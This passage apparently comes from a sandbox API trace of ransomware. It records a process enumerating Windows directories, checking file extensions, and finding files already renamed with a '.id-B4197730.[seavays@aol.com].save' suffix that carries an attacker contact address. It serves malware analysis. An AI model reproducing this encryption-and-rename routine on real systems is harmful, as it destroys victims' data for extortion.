[0205.471] lstrcmpiW (lpString1=".pl", lpString2="ave") returned -1 [0205.471] lstrlenW (lpString=".pls") returned 4 [0205.471] lstrcmpiW (lpString1=".pls", lpString2="save") returned -1 [0205.471] lstrlenW (lpString=".pm") returned 3 [0205.471] lstrcmpiW (lpString1=".pm", lpString2="ave") returned -1 [0205.471] lstrlenW (lpString=".png") returned 4 [0205.471] lstrcmpiW (lpString1=".png", lpString2="save") returned -1 [0205.471] lstrlenW (lpString=".pnm") returned 4 [0205.471] lstrcmpiW (lpString1=".pnm", lpString2="save") returned -1 [0205.471] lstrlenW (lpString=".pot") returned 4 [0205.471] lstrcmpiW (lpString1=".pot", lpString2="save") returned -1 [0205.471] lstrlenW (lpString=".potm") returned 5 [0205.471] lstrcmpiW (lpString1=".potm", lpString2=".save") returned -1 [0205.471] lstrlenW (lpString=".potx") returned 5 [0205.471] lstrcmpiW (lpString1=".potx", lpString2=".save") returned -1 [0205.472] lstrlenW (lpString=".ppa") returned 4 [0205.472] lstrcmpiW (lpString1=".ppa", lpString2="save") returned -1 [0205.472] lstrlenW (lpString=".ppam") returned 5 [0205.472] lstrcmpiW (lpString1=".ppam", lpString2=".save") returned -1 [0205.472] lstrlenW (lpString=".ppm") returned 4 [0205.472] lstrcmpiW (lpString1=".ppm", lpString2="save") returned -1 [0205.472] lstrlenW (lpString=".pps") returned 4 [0205.472] lstrcmpiW (lpString1=".pps", lpString2="save") returned -1 [0205.472] lstrlenW (lpString=".ppsm") returned 5 [0205.472] lstrcmpiW (lpString1=".ppsm", lpString2=".save") returned -1 [0205.472] lstrlenW (lpString=".ppt") returned 4 [0205.472] lstrcmpiW (lpString1=".ppt", lpString2="save") returned -1 [0205.472] lstrlenW (lpString=".pptm") returned 5 [0205.472] lstrcmpiW (lpString1=".pptm", lpString2=".save") returned -1 [0205.472] lstrlenW (lpString=".pptx") returned 5 [0205.472] lstrcmpiW (lpString1=".pptx", lpString2=".save") returned -1 [0205.472] lstrlenW (lpString=".prn") returned 4 [0205.472] lstrcmpiW (lpString1=".prn", lpString2="save") returned -1 [0205.472] lstrlenW (lpString=".ps") returned 3 [0205.472] lstrcmpiW (lpString1=".ps", lpString2="ave") returned -1 [0205.472] lstrlenW (lpString=".psb") returned 4 [0205.472] lstrcmpiW (lpString1=".psb", lpString2="save") returned -1 [0205.472] lstrlenW (lpString=".psd") returned 4 [0205.472] lstrcmpiW (lpString1=".psd", lpString2="save") returned -1 [0205.472] lstrlenW (lpString=".pst") returned 4 [0205.472] lstrcmpiW (lpString1=".pst", lpString2="save") returned -1 [0205.472] lstrlenW (lpString=".ptx") returned 4 [0205.472] lstrcmpiW (lpString1=".ptx", lpString2="save") returned -1 [0205.473] lstrlenW (lpString=".pub") returned 4 [0205.473] lstrcmpiW (lpString1=".pub", lpString2="save") returned -1 [0205.473] lstrlenW (lpString=".pwm") returned 4 [0205.473] lstrcmpiW (lpString1=".pwm", lpString2="save") returned -1 [0205.473] FindNextFileW (in: hFindFile=0x5da310, lpFindFileData=0x316f800 | out: lpFindFileData=0x316f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ed6c16, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x6ed6c16, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x6ed6c16, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x1894, dwReserved0=0xffffe885, dwReserved1=0x280, cFileName="oobe_2017_09_07_03_08_57_737.log.id-B4197730.[seavays@aol.com].save", cAlternateFileName="OOBE_2~1.SAV")) returned 1 [0205.473] FindNextFileW (in: hFindFile=0x5da310, lpFindFileData=0x316f800 | out: lpFindFileData=0x316f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6efcda1, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x6efcda1, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x6f230d1, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x140, dwReserved0=0xffffe885, dwReserved1=0x280, cFileName="PartnerSetupCompleteResult.log.id-B4197730.[seavays@aol.com].save", cAlternateFileName="PARTNE~1.SAV")) returned 1 [0205.473] FindNextFileW (in: hFindFile=0x5da310, lpFindFileData=0x316f800 | out: lpFindFileData=0x316f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6efcda1, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x6efcda1, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x6f230d1, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x140, dwReserved0=0xffffe885, dwReserved1=0x280, cFileName="PartnerSetupCompleteResult.log.id-B4197730.[seavays@aol.com].save", cAlternateFileName="PARTNE~1.SAV")) returned 0 [0205.473] FindClose (in: hFindFile=0x5da310 | out: hFindFile=0x5da310) returned 1 [0205.474] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3520950 | out: hHeap=0x5c0000) returned 1 [0205.474] FindNextFileW (in: hFindFile=0x5da190, lpFindFileData=0x316fa7c | out: lpFindFileData=0x316fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SafeOS", cAlternateFileName="")) returned 1 [0205.475] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x3520950 [0205.475] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\SafeOS\\*", lpFindFileData=0x316f800 | out: lpFindFileData=0x316f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe885, dwReserved1=0x280, cFileName=".", cAlternateFileName="")) returned 0x5da310 [0205.476] FindNextFileW (in: hFindFile=0x5da310, lpFindFileData=0x316f800 | out: lpFindFileData=0x316f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe885, dwReserved1=0x280, cFileName="..", cAlternateFileName="")) returned 1 [0205.476] FindNextFileW (in: hFindFile=0x5da310, lpFindFileData=0x316f800 | out: lpFindFileData=0x316f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f9582c, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x6f9582c, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x6fbba69, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x233c8, dwReserved0=0xffffe885, dwReserved1=0x280, cFileName="GetCurrentOOBE.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="GETCUR~2.SAV")) returned 1 [0205.476] FindNextFileW (in: hFindFile=0x5da310, lpFindFileData=0x316f800 | out: lpFindFileData=0x316f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f5159d, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x6f5159d, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x721ded6, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x1a0, dwReserved0=0xffffe885, dwReserved1=0x280, cFileName="GetCurrentRollback.ini.id-B4197730.[seavays@aol.com].save", cAlternateFileName="GETCUR~1.SAV")) returned 1 [0205.477] FindNextFileW (in: hFindFile=0x5da310, lpFindFileData=0x316f800 | out: lpFindFileData=0x316f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fe1d31, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x6fe1d31, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x72441bf, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x354, dwReserved0=0xffffe885, dwReserved1=0x280, cFileName="PartnerSetupComplete.cmd.id-B4197730.[seavays@aol.com].save", cAlternateFileName="PARTNE~1.SAV")) returned 1 [0205.477] FindNextFileW (in: hFindFile=0x5da310, lpFindFileData=0x316f800 | out: lpFindFileData=0x316f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fe1d31, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x6fe1d31, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x702e12c, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x13a, dwReserved0=0xffffe885, dwReserved1=0x280, cFileName="preoobe.cmd.id-B4197730.[seavays@aol.com].save", cAlternateFileName="PREOOB~1.SAV")) returned 1 [0205.477] FindNextFileW (in: hFindFile=0x5da310, lpFindFileData=0x316f800 | out: lpFindFileData=0x316f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x702e12c, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x702e12c, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x702e12c, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x236, dwReserved0=0xffffe885, dwReserved1=0x280, cFileName="SetupComplete.cmd.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPC~1.SAV")) returned 1 [0205.477] FindNextFileW (in: hFindFile=0x5da310, lpFindFileData=0x316f800 | out: lpFindFileData=0x316f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x702e12c, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x702e12c, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x702e12c, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x236, dwReserved0=0xffffe885, dwReserved1=0x280, cFileName="SetupComplete.cmd.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPC~1.SAV")) returned 0 [0205.477] FindClose (in: hFindFile=0x5da310 | out: hFindFile=0x5da310) returned 1 [0205.478] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3520950 | out: hHeap=0x5c0000) returned 1 [0205.478] FindNextFileW (in: hFindFile=0x5da190, lpFindFileData=0x316fa7c | out: lpFindFileData=0x316fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SafeOS", cAlternateFileName="")) returned 0 [0205.478] FindClose (in: hFindFile=0x5da190 | out: hFindFile=0x5da190) returned 1 [0205.478] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3510948 | out: hHeap=0x5c0000) returned 1 [0205.480] FindNextFileW (in: hFindFile=0x5da8d0, lpFindFileData=0x316fcf8 | out: lpFindFileData=0x316fcf8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77870000, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 1 [0205.480] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x3510948 [0205.481] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\*", lpFindFileData=0x316fa7c | out: lpFindFileData=0x316fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x27e, dwReserved1=0xffffb5ac, cFileName=".", cAlternateFileName="")) returned 0x5da190 [0205.481] FindNextFileW (in: hFindFile=0x5da190, lpFindFileData=0x316fa7c | out: lpFindFileData=0x316fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x27e, dwReserved1=0xffffb5ac, cFileName="..", cAlternateFileName="")) returned 1 [0205.481] FindNextFileW (in: hFindFile=0x5da190, lpFindFileData=0x316fa7c | out: lpFindFileData=0x316fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x27e, dwReserved1=0xffffb5ac, cFileName="S-1-5-18", cAlternateFileName="")) returned 1 [0205.482] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x3520950 [0205.482] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-18\\*", lpFindFileData=0x316f800 | out: lpFindFileData=0x316f800*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffd3ac, dwReserved1=0x7f, cFileName=".", cAlternateFileName="")) returned 0x5da310 [0205.482] FindNextFileW (in: hFindFile=0x5da310, lpFindFileData=0x316f800 | out: lpFindFileData=0x316f800*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffd3ac, dwReserved1=0x7f, cFileName="..", cAlternateFileName="")) returned 1 [0205.482] FindNextFileW (in: hFindFile=0x5da310, lpFindFileData=0x316f800 | out: lpFindFileData=0x316f800*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6f5159d, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x6f5159d, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x6f6f529, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x17a, dwReserved0=0xffffd3ac, dwReserved1=0x7f, cFileName="desktop.ini.id-B4197730.[seavays@aol.com].save", cAlternateFileName="DESKTO~1.SAV")) returned 1 [0205.483] FindNextFileW (in: hFindFile=0x5da310, lpFindFileData=0x316f800 | out: lpFindFileData=0x316f800*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6f5159d, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x6f5159d, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x6f6f529, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x17a, dwReserved0=0xffffd3ac, dwReserved1=0x7f, cFileName="desktop.ini.id-B4197730.[seavays@aol.com].save", cAlternateFileName="DESKTO~1.SAV")) returned 0 [0205.483] FindClose (in: hFindFile=0x5da310 | out: hFindFile=0x5da310) returned 1 [0205.483] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3520950 | out: hHeap=0x5c0000) returned 1 [0205.483] FindNextFileW (in: hFindFile=0x5da190, lpFindFileData=0x316fa7c | out: lpFindFileData=0x316fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x9febb52a, ftLastAccessTime.dwHighDateTime=0x1d535a3, ftLastWriteTime.dwLowDateTime=0x9febb52a, ftLastWriteTime.dwHighDateTime=0x1d535a3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x27e, dwReserved1=0xffffb5ac, cFileName="S-1-5-21-1051304884-625712362-2192934891-1000", cAlternateFileName="S-1-5-~1")) returned 1 [0205.483] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x3520950 [0205.483] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\*", lpFindFileData=0x316f800 | out: lpFindFileData=0x316f800*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x9febb52a, ftLastAccessTime.dwHighDateTime=0x1d535a3, ftLastWriteTime.dwLowDateTime=0x9febb52a, ftLastWriteTime.dwHighDateTime=0x1d535a3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffd3ac, dwReserved1=0x7f, cFileName=".", cAlternateFileName="")) returned 0x5da310 [0205.483] FindNextFileW (in: hFindFile=0x5da310, lpFindFileData=0x316f800 | out: lpFindFileData=0x316f800*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x9febb52a, ftLastAccessTime.dwHighDateTime=0x1d535a3, ftLastWriteTime.dwLowDateTime=0x9febb52a, ftLastWriteTime.dwHighDateTime=0x1d535a3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffd3ac, dwReserved1=0x7f, cFileName="..", cAlternateFileName="")) returned 1 [0205.484] FindNextFileW (in: hFindFile=0x5da310, lpFindFileData=0x316f800 | out: lpFindFileData=0x316f800*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x9febb52a, ftCreationTime.dwHighDateTime=0x1d535a3, ftLastAccessTime.dwLowDateTime=0x9febb52a, ftLastAccessTime.dwHighDateTime=0x1d535a3, ftLastWriteTime.dwLowDateTime=0x9febb52a, ftLastWriteTime.dwHighDateTime=0x1d535a3, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0xffffd3ac, dwReserved1=0x7f, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0205.484] FindNextFileW (in: hFindFile=0x5da310, lpFindFileData=0x316f800 | out: lpFindFileData=0x316f800*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6f6f529, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x6f6f529, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x6f9582c, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x17a, dwReserved0=0xffffd3ac, dwReserved1=0x7f, cFileName="desktop.ini.id-B4197730.[seavays@aol.com].save", cAlternateFileName="DESKTO~1.SAV")) returned 1 [0205.484] FindNextFileW (in: hFindFile=0x5da310, lpFindFileData=0x316f800 | out: lpFindFileData=0x316f800*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6f6f529, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x6f6f529, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x6f9582c, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x17a, dwReserved0=0xffffd3ac, dwReserved1=0x7f, cFileName="desktop.ini.id-B4197730.[seavays@aol.com].save", cAlternateFileName="DESKTO~1.SAV")) returned 0 [0205.484] FindClose (in: hFindFile=0x5da310 | out: hFindFile=0x5da310) returned 1 [0205.484] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3520950 | out: hHeap=0x5c0000) returned 1 [0205.484] FindNextFileW (in: hFindFile=0x5da190, lpFindFileData=0x316fa7c | out: lpFindFileData=0x316fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x9febb52a, ftLastAccessTime.dwHighDateTime=0x1d535a3, ftLastWriteTime.dwLowDateTime=0x9febb52a, ftLastWriteTime.dwHighDateTime=0x1d535a3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x27e, dwReserved1=0xffffb5ac, cFileName="S-1-5-21-1051304884-625712362-2192934891-1000", cAlternateFileName="S-1-5-~1")) returned 0 [0205.484] FindClose (in: hFindFile=0x5da190 | out: hFindFile=0x5da190) returned 1 [0205.484] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3510948 | out: hHeap=0x5c0000) returned 1 [0205.485] FindNextFileW (in: hFindFile=0x5da8d0, lpFindFileData=0x316fcf8 | out: lpFindFileData=0x316fcf8*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x85776261, ftCreationTime.dwHighDateTime=0x1d3276f, ftLastAccessTime.dwLowDateTime=0x85776261, ftLastAccessTime.dwHighDateTime=0x1d3276f, ftLastWriteTime.dwLowDateTime=0x85776261, ftLastWriteTime.dwHighDateTime=0x1d3276f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77870000, dwReserved1=0x0, cFileName="$WINRE_BACKUP_PARTITION.MARKER", cAlternateFileName="$WINRE~1.MAR")) returned 1 [0205.485] FindNextFileW (in: hFindFile=0x5da8d0, lpFindFileData=0x316fcf8 | out: lpFindFileData=0x316fcf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xb90f707, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0xb90f707, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77870000, dwReserved1=0x0, cFileName="588bce7c90097ed212", cAlternateFileName="588BCE~1")) returned 1 [0205.648] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x3510948 [0205.649] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\*", lpFindFileData=0x316fa7c | out: lpFindFileData=0x316fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xb90f707, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0xb90f707, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x27e, dwReserved1=0xffffb5ac, cFileName=".", cAlternateFileName="")) returned 0x5da190 [0205.649] FindNextFileW (in: hFindFile=0x5da190, lpFindFileData=0x316fa7c | out: lpFindFileData=0x316fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xb90f707, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0xb90f707, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x27e, dwReserved1=0xffffb5ac, cFileName="..", cAlternateFileName="")) returned 1 [0205.650] FindNextFileW (in: hFindFile=0x5da190, lpFindFileData=0x316fa7c | out: lpFindFileData=0x316fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x27e, dwReserved1=0xffffb5ac, cFileName="1025", cAlternateFileName="")) returned 1 [0205.650] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x3520950 [0205.650] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1025\\*", lpFindFileData=0x316f800 | out: lpFindFileData=0x316f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdf24, dwReserved1=0xbf7, cFileName=".", cAlternateFileName="")) returned 0x5da310 [0205.652] FindNextFileW (in: hFindFile=0x5da310, lpFindFileData=0x316f800 | out: lpFindFileData=0x316f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdf24, dwReserved1=0xbf7, cFileName="..", cAlternateFileName="")) returned 1 [0205.652] FindNextFileW (in: hFindFile=0x5da310, lpFindFileData=0x316f800 | out: lpFindFileData=0x316f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x7708c77, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x7708c77, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x7708c77, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x1e74, dwReserved0=0xffffdf24, dwReserved1=0xbf7, cFileName="eula.rtf.id-B4197730.[seavays@aol.com].save", cAlternateFileName="EULART~1.SAV")) returned 1 [0205.652] FindNextFileW (in: hFindFile=0x5da310, lpFindFileData=0x316f800 | out: lpFindFileData=0x316f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x737fee6, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x737fee6, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x73c185d, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x122e6, dwReserved0=0xffffdf24, dwReserved1=0xbf7, cFileName="LocalizedData.xml.id-B4197730.[seavays@aol.com].save", cAlternateFileName="LOCALI~1.SAV")) returned 1 [0205.652] FindNextFileW (in: hFindFile=0x5da310, lpFindFileData=0x316f800 | out: lpFindFileData=0x316f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x739b662, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x739b662, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x73c185d, ftLastWriteTime.dwHighDateTime=0x1d5359b, 